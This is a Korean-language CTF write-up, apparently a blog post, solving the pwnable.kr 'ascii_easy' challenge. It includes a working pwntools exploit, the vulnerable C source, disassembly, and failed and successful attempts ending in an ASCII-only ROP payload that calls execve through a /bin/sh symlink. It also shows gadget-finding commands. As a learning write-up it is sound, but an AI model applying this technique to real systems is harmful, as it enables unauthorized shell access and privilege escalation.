from pwn import *
argvs = ["" for i in range(2)]
# DUMMY + call_execve_addr + action_addr + NULL_addr + NULL_addr
pay = b'A'*0x20 + p32(0x5561676a) + p32(0x556b6534) + p32(0x55564a36)*2
argvs[1] = pay
p = process(executable="/home/ascii_easy/ascii_easy", argv=argvs)
p.interactive()
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#define BASE ((void*)0x5555e000)
int is_ascii(int c){
// 0x804000부터 매핑되는 ./ascii_easy 파일 값들은 아예 못쓰겠네
if(c>=0x20 && c<=0x7f) return 1;
return 0;
}
void vuln(char* p){
char buf[20];
strcpy(buf, p); // bof 취약점 존재, Canary 없음
}
void main(int argc, char* argv[]){
if(argc!=2){
printf("usage: ascii_easy [ascii input]\n");
return;
}
size_t len_file;
struct stat st;
int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
// int fstat(int fd, struct stat *buf); 열려진 파일의 크기,권한,생성일시,변경일 등 상태나 정보를 얻음
if( fstat(fd,&st) < 0){
printf("open error. tell admin!\n");
return;
}
len_file = st.st_size; // 파일 크기 in bytes
// fd로 지정된 파일에서 offset(0)을 시작으로 BASE 주소에 len_file만큼 매핑하고자 한다
// 메모리 보호 모드는 rwx 모두 가능하게 하고, 다른 프로세스와 대응 영역 공유 안한다(MAP_PRIVATE)
if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
printf("mmap error!. tell admin\n");
return;
}
int i;
for(i=0; i<strlen(argv[1]); i++){
if( !is_ascii(argv[1][i]) ){
printf("you have non-ascii byte!\n");
return;
}
}
printf("triggering bug...\n");
vuln(argv[1]);
}
- Partial RELRO No canary found NX enabled No PIE
- mmap을 통해 libc-2.15.so를 메모리에 매핑하고 있다(마치 static linking마냥)
- 라이브러리에 있는 값들을 적극 이용하자
pwndbg> disas vuln
Dump of assembler code for function vuln:
0x08048518 <+0>: push ebp
0x08048519 <+1>: mov ebp,esp
0x0804851b <+3>: sub esp,0x28
0x0804851e <+6>: sub esp,0x8 ; esp = ebp-0x30
0x08048521 <+9>: push DWORD PTR [ebp+0x8] ; vuln함수 첫번째 매개변수(char* p)
0x08048524 <+12>: lea eax,[ebp-0x1c] ; char buf[20] 시작주소
0x08048527 <+15>: push eax
0x08048528 <+16>: call 0x8048380 <strcpy@plt>
[첫번째 시도 - system("/bin/sh")]
- 0x20 DUMMY Bytes + system() 주소 + "/bin/sh" 문자열 주소 이런 식으로 RET overwrite 하자
- libc-2.15.so를 다운받아 분석해보니 두 주소 모두 코드 섹션에 존재했다.
pwndbg> p system
$1 = {<text variable, no debug info>} 0x3eed0 <system> ; RVA
pwndbg> search "/bin/sh"
libc-2.15.so 0x566b27ec das /* '/bin/sh' */ ; 메모리에 매핑된 주소(VA)
pwndbg> p/x 0x566b27ec-0x56555000
$2 = 0x15d7ec ; Image Base 값 빼면 RVA
=> 0x5555e000 주소 기준 systemAddr=0x5559ced0, binshAddr=0x556bb7ec
// 함수주소, 문자열주소 모두 ASCII 범위 밖 바이트 존재해서 안 됨.. (execve도 마찬가지)
[두번째 시도 - 원샷가젯]
0x6667f execl("/bin/sh", "sh", [esp+0x8])
constraints:
ebx is the GOT address of libc
[esp+0x8] == NULL
=> 0x5555e000 주소 기준 0x555c467f (ASCII 범위 안에 존재하는 가젯 있다!)
=> argvs[1] = 'A'*0x20 + p32(0x555c467f).decode('utf-8')
// 하지만 작동하지 않는다, 아마 constraint 조건에 걸린게 아닐까?
[세번째 시도 - call execve 이용]
1. objdump -d ./libc-2.15.so | grep 'execve' 통해 디스어셈블 된 결과에서 call execve 명령어 위치를 찾는다.
그 중 ASCII 범위 안에 존재하는 주소들은 아래와 같음.
b876a: e8 71 fe ff ff call b85e0 <execve@@GLIBC_2.0> ; 0x5561676a
b8967: e8 74 fc ff ff call b85e0 <execve@@GLIBC_2.0> ; 0x55616967
b8a32: e8 a9 fb ff ff call b85e0 <execve@@GLIBC_2.0> ; 0x55616a32
d8b77: e8 64 fa fd ff call b85e0 <execve@@GLIBC_2.0> ; 0x55636b77
// 마지막거 빼곤 다 잘 작동하네
// system도 검색해봤지만 jne system, je system밖에 없다. 하나있는 jmp system 명령어 주소는 ascii 범위밖
2. libc-2.15.so에서 NULL padding 위치 중 아스키값으로만 이루어진 주소를 찾는다. (2, 3번째 인자 Null pointer)
IDA에 던진 뒤 Search->Sequence of bytes->00 00 00 00 입력 하면 모든 occurrence 찾아줌
LOAD:00006A36 Elf32_Sym <offset aGlibcPrivate ~ => 0x55564a36
3. libc-2.15.so에 들어있는 적당한 문자열을 골라 "/bin/sh"를 심볼릭 링크로 잇는다.
마찬가지로 IDA에 던진뒤 View->Open Subviews->Strings 해서 문자열 확인. ASCII 범위 주소 가지는 것들 고르자
.rodata:00158534 00000007 C action => 0x556b6534
0x158544 tag => 0x556b6544
// 해당 문자열이 심볼릭링크로 잘 동작함을 확인하기 위해
// ln -s /bin/sh action; export PATH=$PATH:(pwd); action; 해서 쉘 잘 따지나 확인
// action이랑 tag 둘 다 잘 된다!
4. payload는 'A'*0x20 + p32(0x5561676a) + p32(0x556b6534) + p32(0x55564a36) + p32(0x55564a36)
원격 서버 접속해서 /tmp/ms 아래에서 작업하면 된다!
// execve("action", NULL, NULL)
// ln -s /bin/sh action ; 해야 함.
새로 알게 된 점
1. ROPgadget 사용법
ROPgadget --binary (파일명) | grep '(찾을 가젯)'
2. Objdump 사용법
objdump란? 실행 파일의 바이너리 정보를 보여주는 명령어
objdump -d "파일명" | grep [옵션] "가젯이름 or 명령어"
- -d = 파일을 디스어셈블 한다
- grep -B(숫자) = 패턴이 매칭된 각 라인 포함해 그 앞으로 (숫자)줄을 출력
- grep \<함수명\>: -A <출력 라인 수> = 특정 함수의 디스어셈블 결과를 (숫자)줄 출력
- grep -E '포맷' = egrep '포맷' = 포맷에서 '192.168.1.(230|231)' 처럼 OR 조건 사용 가능
3. 환경변수에 특정 경로 추가하는 방법
export PATH=$PATH:(추가할 경로)
- export 명령어는 환경변수 셋팅할 때 쓴다. 그냥 export PATH=(추가할 경로) 하면 overwrite 됨
- $PATH 통해 기존 환경변수 가져오고 뒤에 경로 추가
4. exeve 함수
#include <unistd.h> int execve(const char *filename, char *const argv[], char *const envp[]);
- 인자1 : 파일이름 (binary 파일 / 스크립트 파일)
- 인자2 : 파일 인자의 포인터 / 인자3: 환경 변수의 포인터 => 인자2와 인자3은 포인터배열로 filename의 인자로 들어감
실행가능한 파일인 filename의 실행코드를 현재 프로세스에 적재하여 기존의 실행코드와 교체하여 새로운 기능으로 실행합니다. 즉, 현재 실행되는 프로그램의 기능은 없어지고 filename 프로그램을 메모리에 loading하여 처음부터 실행합니다.
char* str[2];
str[0] = "/bin/sh";
str[1] = NULL;
execve(str[0], str, NULL);
4. "/bin/sh" 문자열 못 쓸 때 심볼릭 링크 이용하기
execve, system 함수 호출 과정에서 필터링 등의 이유로 "/bin/sh" 문자열 주소를 못 건네줄 경우,
즉 /bin/sh 파일을 실행하지 못하는 경우 다른 이름의 바로가기 파일을 실행하면 된다!
필터링에 안걸리는 주소를 가진 임의의 문자열('abc' 라고 하면)을 execve 함수의 인자로 넘겨주고
ln -s /bin/sh abc 해서 abc라는 이름의 심볼릭 링크(바로가기)를 만든다. abc가 실행되면 곧 /bin/sh가 실행되는 것과 같다.
* symbolic link는 링크를 연결하여 원본 파일을 직접 사용하는 것과 같은 효과를 내는 링크이다
exploit.py 파일과 abc가 동일 폴더에 있다면 굳이 현재 pwd를 환경변수 PATH에 추가 안 해도 잘 pwn 된다..
cf) /bin/sh -> bash 가 아니고 dash인 이유: 원래 Linux에서 Bash shell 쓰다가, 기능이 많이 추가되고 heavy 해지니까, 상대적으로 light한 dash를 사용해서 .sh script를 실행하게 되었고 한다...
추가(06/04)
objdump -d ./libc-2.15.so | grep system
=> 어셈블리 수준에서 검색가능, __libc_system 함수로 jump하는 코드들의 offset 들이 검색됨
nm -D ./libc-2.15.so | grep system
=> dynamic symbol에서 검색해줌. 즉 system 함수의 주소(offset)이 검색됨
strings -a -t x ./libc-2.15.so | grep /bin/sh
=> 파일의 전체를 탐색하여(-a), 특정 문자열의 주소를 16진수로(-t x) 출력
'security > 포너블 - pwnable.kr' 카테고리의 다른 글
pwnable.kr - [Rookiss] fix (0) | 2023.02.23 |
---|---|
pwnable.kr - [Rookiss] echo1 (0) | 2023.02.23 |
pwnable.kr - [Rookiss] tiny_easy (0) | 2023.02.19 |
pwnable.kr - [Rookiss] fsb (0) | 2023.02.18 |
pwnable.kr - [Toddler's Bottle] unlink (0) | 2023.02.06 |